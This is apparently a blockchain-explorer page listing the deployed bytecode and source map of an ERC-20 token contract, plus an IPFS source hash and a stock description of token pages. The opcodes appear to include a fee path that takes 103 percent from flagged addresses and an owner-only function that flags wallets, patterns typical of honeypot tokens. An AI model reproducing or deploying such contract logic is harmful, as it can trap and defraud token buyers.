0090815260046020526040902054600b54600160a01b900460ff16158015610bbc57506001600160a01b03851660009081526007602052604090205460ff16155b15610bca57610bca81610eb3565b6001600160a01b038516600090815260046020526040902054610bed9084611019565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c3a57506001600160a01b03851660009081526006602052604090205460ff165b610c4d57610c48868561105b565b610c4f565b835b6001600160a01b038616600090815260046020526040902054909150610c759082611125565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cc99085815260200190565b60405180910390a3600192505050610588565b60008184841115610d005760405162461bcd60e51b815260040161067791906111ef565b506000610d0d84866113a7565b95945050505050565b600082610d255750600061051e565b6000610d318385611388565b905082610d3e85836113db565b146105885760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610677565b60035461010090046001600160a01b031660009081526020829052604081208054849290610dc4908490611370565b90915550505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610e1e918490610cdc565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610e4d9083611125565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ea19086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610efb57610efb6113fd565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7891906113be565b81600181518110610f8b57610f8b6113fd565b6001600160a01b039283166020918202929092010152600a5460035460405163791ac94760e01b81529183169263791ac94792610fdc92879260009288926101009004909116904290600401611413565b600060405180830381600087803b158015610ff657600080fd5b505af1925050508015611007575060015b505050600b805460ff60a01b19169055565b600061058883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cdc565b600080611074606461106e856003610d16565b90611184565b6001600160a01b038516600090815260086020526040902054909150156110a8576110a5606461106e856067610d16565b90505b80156111135730600090815260046020526040812080548392906110cd908490611370565b909155505060405181815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b61111d8382611019565b949350505050565b6000806111328385611370565b9050838110156105885760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610677565b600061058883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836111e25760405162461bcd60e51b815260040161067791906111ef565b506000610d0d84866113db565b600060208083528351808285015260005b8181101561121c57858101830151858201604001528201611200565b8181111561122e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461125957600080fd5b50565b6000806040838503121561126f57600080fd5b823561127a81611244565b946020939093013593505050565b60008060006060848603121561129d57600080fd5b83356112a881611244565b925060208401356112b881611244565b929592945050506040919091013590565b6000602082840312156112db57600080fd5b813561058881611244565b600080604083850312156112f957600080fd5b823561130481611244565b9150602083013561131481611244565b809150509250929050565b600181811c9082168061133357607f821691505b6020821081141561135457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082198211156113835761138361135a565b500190565b60008160001904831182151516156113a2576113a261135a565b500290565b6000828210156113b9576113b961135a565b500390565b6000602082840312156113d057600080fd5b815161058881611244565b6000826113f857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114635784516001600160a01b03168352938301939183019160010161143e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220359821fa3c20db9e2257af438497f6f300d480ec7e5004fdf385bad4b212e55964736f6c634300080a0033
Deployed Bytecode Sourcemap
5960:6209:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7266:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7929:161;;;;;;;;;;-1:-1:-1;7929:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;7929:161:0;1072:187:1;6188:26:0;;;;;;;;;;-1:-1:-1;6188:26:0;;;;;;;-1:-1:-1;;;;;6188:26:0;;;;;;-1:-1:-1;;;;;1444:32:1;;;1426:51;;1414:2;1399:18;6188:26:0;1264:219:1;6661:41:0;;;;;;;;;;-1:-1:-1;6661:41:0;;;;-1:-1:-1;;;;;6661:41:0;;;7543:100;;;;;;;;;;-1:-1:-1;7623:12:0;;7543:100;;;1868:25:1;;;1856:2;1841:18;7543:100:0;1722:177:1;8480:313:0;;;;;;;;;;-1:-1:-1;8480:313:0;;;;;:::i;:::-;;:::i;6266:81::-;;;;;;;;;;;;;;;7452:83;;;;;;;;;;-1:-1:-1;7518:9:0;;7452:83;;7518:9;;;;2715:36:1;;2703:2;2688:18;7452:83:0;2573:184:1;6432:50:0;;;;;;;;;;-1:-1:-1;6432:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11384:356;;;;;;;;;;-1:-1:-1;11384:356:0;;;;;:::i;:::-;;:::i;:::-;;6776:40;;;;;;;;;;-1:-1:-1;6776:40:0;;;;-1:-1:-1;;;6776:40:0;;;;;;7651:119;;;;;;;;;;-1:-1:-1;7651:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7744:18:0;7717:7;7744:18;;;:9;:18;;;;;;;7651:119;5093:79;;;;;;;;;;-1:-1:-1;5131:7:0;5158:6;-1:-1:-1;;;;;5158:6:0;5093:79;;7357:87;;;;;;;;;;;;;:::i;6541:43::-;;;;;;;;;;-1:-1:-1;6541:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;8801:167;;;;;;;;;;-1:-1:-1;8801:167:0;;;;;:::i;:::-;;:::i;6709:26::-;;;;;;;;;;-1:-1:-1;6709:26:0;;;;-1:-1:-1;;;;;6709:26:0;;;8976:471;;;;;;;;;;;;;:::i;7778:143::-;;;;;;;;;;-1:-1:-1;7778:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7886:18:0;;;7859:7;7886:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7778:143;5307:157;;;;;;;;;;-1:-1:-1;5307:157:0;;;;;:::i;:::-;;:::i;6489:45::-;;;;;;;;;;-1:-1:-1;6489:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7266:83;7303:13;7336:5;7329:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7266:83;:::o;7929:161::-;8004:4;8021:39;2532:10;8044:7;8053:6;8021:8;:39::i;:::-;-1:-1:-1;8078:4:0;7929:161;;;;;:::o;8480:313::-;8578:4;8595:36;8605:6;8613:9;8624:6;8595:9;:36::i;:::-;-1:-1:-1;8642:121:0;8651:6;2532:10;8673:89;8711:6;8673:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8673:19:0;;;;;;:11;:19;;;;;;;;2532:10;8673:33;;;;;;;;;;:37;:89::i;:::-;8642:8;:121::i;:::-;-1:-1:-1;8781:4:0;8480:313;;;;;;:::o;11384:356::-;11466:3;11482;11513:23;11466:3;11521:7;11482:3;11466;11521:7;:::i;:::-;11513:20;;:23::i;:::-;11508:28;;:2;:28;:::i;:::-;11500:4;:36;11496:71;;11538:29;11545:9;11550:4;;11545:9;:::i;:::-;11556;11538:6;:29::i;:::-;11591:4;11584:3;11586:1;11584;:3;:::i;:::-;11582:5;;:1;:5;:::i;:::-;:13;11578:40;;;-1:-1:-1;;;;;11597:14:0;;;;;;:7;:14;;;;;:21;;;11578:40;11640:4;11633:3;11635:1;11633;:3;:::i;:::-;:11;11629:38;;;-1:-1:-1;;;;;11646:14:0;;;;;;:7;:14;;;;;:21;;;11629:38;11682:3;;;;;-1:-1:-1;;;;;11682:3:0;11689:10;11682:17;11678:54;;11714:18;;-1:-1:-1;;;11714:18:0;;4562:2:1;11714:18:0;;;4544:21:1;4601:1;4581:18;;;4574:29;-1:-1:-1;;;4619:18:1;;;4612:37;4666:18;;11714::0;;;;;;;;11678:54;11446:294;;11384:356;;:::o;7357:87::-;7396:13;7429:7;7422:14;;;;;:::i;8801:167::-;8879:4;8896:42;2532:10;8920:9;8931:6;8896:9;:42::i;8976:471::-;5220:6;;-1:-1:-1;;;;;5220:6:0;2532:10;5220:22;5212:67;;;;-1:-1:-1;;;5212:67:0;;4897:2:1;5212:67:0;;;4879:21:1;;;4916:18;;;4909:30;4975:34;4955:18;;;4948:62;5027:18;;5212:67:0;4695:356:1;5212:67:0;9026:35:::1;9083:42;9026:100;;9169:16;-1:-1:-1::0;;;;;9169:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9151:70:0::1;;9230:4;9237:16;-1:-1:-1::0;;;;;9237:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9151:110;::::0;-1:-1:-1;;;;;;9151:110:0::1;::::0;;;;;;-1:-1:-1;;;;;5542:15:1;;;9151:110:0::1;::::0;::::1;5524:34:1::0;5594:15;;5574:18;;;5567:43;5459:18;;9151:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9137:11;:124:::0;;-1:-1:-1;;;;;9137:124:0;;::::1;-1:-1:-1::0;;;;;;9137:124:0;;::::1;::::0;::::1;::::0;;;9274:15:::1;:34:::0;;;;::::1;::::0;;;::::1;::::0;;;::::1;::::0;;9137:11:::1;9319:34:::0;;;:12:::1;:34;::::0;;;;;;;:41;;-1:-1:-1;;9319:41:0::1;9137:124:::0;9319:41:::1;::::0;;9391:4:::1;9371:26:::0;;:11:::1;:26:::0;;;;;9406:15;;;;::::1;9371:52:::0;;;;;;;;-1:-1:-1;;9371:66:0;;8976:471::o;5307:157::-;5220:6;;-1:-1:-1;;;;;5220:6:0;2532:10;5220:22;5212:67;;;;-1:-1:-1;;;5212:67:0;;4897:2:1;5212:67:0;;;4879:21:1;;;4916:18;;;4909:30;4975:34;4955:18;;;4948:62;5027:18;;5212:67:0;4695:356:1;5212:67:0;5381:6:::1;:19:::0;;-1:-1:-1;;;;;;5381:19:0::1;-1:-1:-1::0;;;;;5381:19:0;::::1;::::0;;::::1;::::0;;5416:40:::1;::::0;5381:19;;;;5416:40:::1;::::0;5381:6;5416:40:::1;5307:157:::0;:::o;8098:337::-;-1:-1:-1;;;;;8191:19:0;;8183:68;;;;-1:-1:-1;;;8183:68:0;;5823:2:1;8183:68:0;;;5805:21:1;5862:2;5842:18;;;5835:30;5901:34;5881:18;;;5874:62;-1:-1:-1;;;5952:18:1;;;5945:34;5996:19;;8183:68:0;5621:400:1;8183:68:0;-1:-1:-1;;;;;8270:21:0;;8262:68;;;;-1:-1:-1;;;8262:68:0;;6228:2:1;8262:68:0;;;6210:21:1;6267:2;6247:18;;;6240:30;6306:34;6286:18;;;6279:62;-1:-1:-1;;;6357:18:1;;;6350:32;6399:19;;8262:68:0;6026:398:1;8262:68:0;-1:-1:-1;;;;;8343:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8395:32;;1868:25:1;;;8395:32:0;;1841:18:1;8395:32:0;;;;;;;8098:337;;;:::o;9455:943::-;9533:4;-1:-1:-1;;;;;9560:18:0;;9552:68;;;;-1:-1:-1;;;9552:68:0;;6631:2:1;9552:68:0;;;6613:21:1;6670:2;6650:18;;;6643:30;6709:34;6689:18;;;6682:62;-1:-1:-1;;;6760:18:1;;;6753:35;6805:19;;9552:68:0;6429:401:1;9552:68:0;-1:-1:-1;;;;;9639:16:0;;9631:64;;;;-1:-1:-1;;;9631:64:0;;7037:2:1;9631:64:0;;;7019:21:1;7076:2;7056:18;;;7049:30;7115:34;7095:18;;;7088:62;-1:-1:-1;;;7166:18:1;;;7159:33;7209:19;;9631:64:0;6835:399:1;9631:64:0;9719:16;;-1:-1:-1;;;9719:16:0;;;;9716:675;;;9768:32;9783:4;9789:2;9793:6;9768:14;:32::i;:::-;9761:39;;;;9716:675;9901:4;9852:28;7744:18;;;:9;:18;;;;;;9927:16;;-1:-1:-1;;;9927:16:0;;;;9926:17;:40;;;;-1:-1:-1;;;;;;9948:18:0;;;;;;:12;:18;;;;;;;;9947:19;9926:40;9922:130;;;10000:36;10015:20;10000:14;:36::i;:::-;-1:-1:-1;;;;;10086:15:0;;;;;;:9;:15;;;;;;:27;;10106:6;10086:19;:27::i;:::-;-1:-1:-1;;;;;10068:15:0;;;;;;:9;:15;;;;;;;;:45;;;;10149:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;10176:21:0;;;;;;:17;:21;;;;;;;;10149:48;10148:85;;10210:23;10220:4;10226:6;10210:9;:23::i;:::-;10148:85;;;10201:6;10148:85;-1:-1:-1;;;;;10278:13:0;;;;;;:9;:13;;;;;;10130:103;;-1:-1:-1;10278:26:0;;10130:103;10278:17;:26::i;:::-;-1:-1:-1;;;;;10262:13:0;;;;;;;:9;:13;;;;;;;:42;;;;10326:27;;;;;;;;;;10345:7;1868:25:1;;1856:2;1841:18;;1722:177;10326:27:0;;;;;;;;10375:4;10368:11;;;;;;3718:192;3804:7;3840:12;3832:6;;;;3824:29;;;;-1:-1:-1;;;3824:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3864:9:0;3876:5;3880:1;3876;:5;:::i;:::-;3864:17;3718:192;-1:-1:-1;;;;;3718:192:0:o;3916:248::-;3974:7;3998:6;3994:47;;-1:-1:-1;4028:1:0;4021:8;;3994:47;4051:9;4063:5;4067:1;4063;:5;:::i;:::-;4051:17;-1:-1:-1;4096:1:0;4087:5;4091:1;4051:17;4087:5;:::i;:::-;:10;4079:56;;;;-1:-1:-1;;;4079:56:0;;7663:2:1;4079:56:0;;;7645:21:1;7702:2;7682:18;;;7675:30;7741:34;7721:18;;;7714:62;-1:-1:-1;;;7792:18:1;;;7785:31;7833:19;;4079:56:0;7461:397:1;10744:210:0;10928:3;;;;;-1:-1:-1;;;;;10928:3:0;10912:20;;;;;;;;;;;:34;;10936:10;;10912:20;:34;;10936:10;;10912:34;:::i;:::-;;;;-1:-1:-1;;;;10744:210:0:o;10406:330::-;10536:53;;;;;;;;;;;-1:-1:-1;;;10536:53:0;;;;;;;;-1:-1:-1;;;;;10536:17:0;;10499:4;10536:17;;;:9;:17;;;;;;;:53;;10558:6;;10536:21;:53::i;:::-;-1:-1:-1;;;;;10516:17:0;;;;;;;:9;:17;;;;;;:73;;;;10623:20;;;;;;;:32;;10648:6;10623:24;:32::i;:::-;-1:-1:-1;;;;;10600:20:0;;;;;;;:9;:20;;;;;;;:55;;;;10671:35;;;;;;;;;;10699:6;1868:25:1;;1856:2;1841:18;;1722:177;10671:35:0;;;;;;;;-1:-1:-1;10724:4:0;10406:330;;;;;:::o;10962:414::-;6857:16;:23;;-1:-1:-1;;;;6857:23:0;-1:-1:-1;;;6857:23:0;;;11057:16:::1;::::0;;11071:1:::1;11057:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11057:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11057:16:0::1;11033:40;;11102:4;11084;11089:1;11084:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11084:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11128:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11128:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11084:7;;11128:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11118:4;11123:1;11118:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11118:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11167:15:::1;::::0;11313:3:::1;::::0;11167:191:::1;::::0;-1:-1:-1;;;11167:191:0;;:15;;::::1;::::0;:66:::1;::::0;:191:::1;::::0;11248:6;;11167:15:::1;::::0;11286:4;;11167:15:::1;11313:3:::0;::::1;::::0;;::::1;::::0;11332:15:::1;::::0;11167:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;11163:206:::0;-1:-1:-1;;6903:16:0;:24;;-1:-1:-1;;;;6903:24:0;;;10962:414::o;3574:136::-;3632:7;3659:43;3663:1;3666;3659:43;;;;;;;;;;;;;;;;;:3;:43::i;11748:412::-;11817:7;;11855:22;11873:3;11855:13;:6;11866:1;11855:10;:13::i;:::-;:17;;:22::i;:::-;-1:-1:-1;;;;;11893:15:0;;;;;;:7;:15;;;;;;11837:40;;-1:-1:-1;11893:20:0;11890:73;;11939:24;11959:3;11939:15;:6;11950:3;11939:10;:15::i;:24::-;11929:34;;11890:73;11979:11;;11976:138;;12025:4;12007:24;;;;:9;:24;;;;;:35;;12035:7;;12007:24;:35;;12035:7;;12007:35;:::i;:::-;;;;-1:-1:-1;;12062:40:0;;1868:25:1;;;12087:4:0;;-1:-1:-1;;;;;12062:40:0;;;;;1856:2:1;1841:18;12062:40:0;;;;;;;11976:138;12133:19;:6;12144:7;12133:10;:19::i;:::-;12126:26;11748:412;-1:-1:-1;;;;11748:412:0:o;3383:181::-;3441:7;;3473:5;3477:1;3473;:5;:::i;:::-;3461:17;;3502:1;3497;:6;;3489:46;;;;-1:-1:-1;;;3489:46:0;;9314:2:1;3489:46:0;;;9296:21:1;9353:2;9333:18;;;9326:30;9392:29;9372:18;;;9365:57;9439:18;;3489:46:0;9112:351:1;4172:132:0;4230:7;4257:39;4261:1;4264;4257:39;;;;;;;;;;;;;;;;;4398:7;4433:12;4426:5;4418:28;;;;-1:-1:-1;;;4418:28:0;;;;;;;;:::i;:::-;-1:-1:-1;4457:9:0;4469:5;4473:1;4469;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1904:456::-;1981:6;1989;1997;2050:2;2038:9;2029:7;2025:23;2021:32;2018:52;;;2066:1;2063;2056:12;2018:52;2105:9;2092:23;2124:31;2149:5;2124:31;:::i;:::-;2174:5;-1:-1:-1;2231:2:1;2216:18;;2203:32;2244:33;2203:32;2244:33;:::i;:::-;1904:456;;2296:7;;-1:-1:-1;;;2350:2:1;2335:18;;;;2322:32;;1904:456::o;2762:247::-;2821:6;2874:2;2862:9;2853:7;2849:23;2845:32;2842:52;;;2890:1;2887;2880:12;2842:52;2929:9;2916:23;2948:31;2973:5;2948:31;:::i;3014:388::-;3082:6;3090;3143:2;3131:9;3122:7;3118:23;3114:32;3111:52;;;3159:1;3156;3149:12;3111:52;3198:9;3185:23;3217:31;3242:5;3217:31;:::i;:::-;3267:5;-1:-1:-1;3324:2:1;3309:18;;3296:32;3337:33;3296:32;3337:33;:::i;:::-;3389:7;3379:17;;;3014:388;;;;;:::o;3407:380::-;3486:1;3482:12;;;;3529;;;3550:61;;3604:4;3596:6;3592:17;3582:27;;3550:61;3657:2;3649:6;3646:14;3626:18;3623:38;3620:161;;;3703:10;3698:3;3694:20;3691:1;3684:31;3738:4;3735:1;3728:15;3766:4;3763:1;3756:15;3620:161;;3407:380;;;:::o;3792:127::-;3853:10;3848:3;3844:20;3841:1;3834:31;3884:4;3881:1;3874:15;3908:4;3905:1;3898:15;3924:128;3964:3;3995:1;3991:6;3988:1;3985:13;3982:39;;;4001:18;;:::i;:::-;-1:-1:-1;4037:9:1;;3924:128::o;4057:168::-;4097:7;4163:1;4159;4155:6;4151:14;4148:1;4145:21;4140:1;4133:9;4126:17;4122:45;4119:71;;;4170:18;;:::i;:::-;-1:-1:-1;4210:9:1;;4057:168::o;4230:125::-;4270:4;4298:1;4295;4292:8;4289:34;;;4303:18;;:::i;:::-;-1:-1:-1;4340:9:1;;4230:125::o;5056:251::-;5126:6;5179:2;5167:9;5158:7;5154:23;5150:32;5147:52;;;5195:1;5192;5185:12;5147:52;5227:9;5221:16;5246:31;5271:5;5246:31;:::i;7239:217::-;7279:1;7305;7295:132;;7349:10;7344:3;7340:20;7337:1;7330:31;7384:4;7381:1;7374:15;7412:4;7409:1;7402:15;7295:132;-1:-1:-1;7441:9:1;;7239:217::o;7995:127::-;8056:10;8051:3;8047:20;8044:1;8037:31;8087:4;8084:1;8077:15;8111:4;8108:1;8101:15;8127:980;8389:4;8437:3;8426:9;8422:19;8468:6;8457:9;8450:25;8494:2;8532:6;8527:2;8516:9;8512:18;8505:34;8575:3;8570:2;8559:9;8555:18;8548:31;8599:6;8634;8628:13;8665:6;8657;8650:22;8703:3;8692:9;8688:19;8681:26;;8742:2;8734:6;8730:15;8716:29;;8763:1;8773:195;8787:6;8784:1;8781:13;8773:195;;;8852:13;;-1:-1:-1;;;;;8848:39:1;8836:52;;8943:15;;;;8908:12;;;;8884:1;8802:9;8773:195;;;-1:-1:-1;;;;;;;9024:32:1;;;;9019:2;9004:18;;8997:60;-1:-1:-1;;;9088:3:1;9073:19;9066:35;8985:3;8127:980;-1:-1:-1;;;8127:980:1:o
Swarm Source
ipfs://359821fa3c20db9e2257af438497f6f300d480ec7e5004fdf385bad4b212e559
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.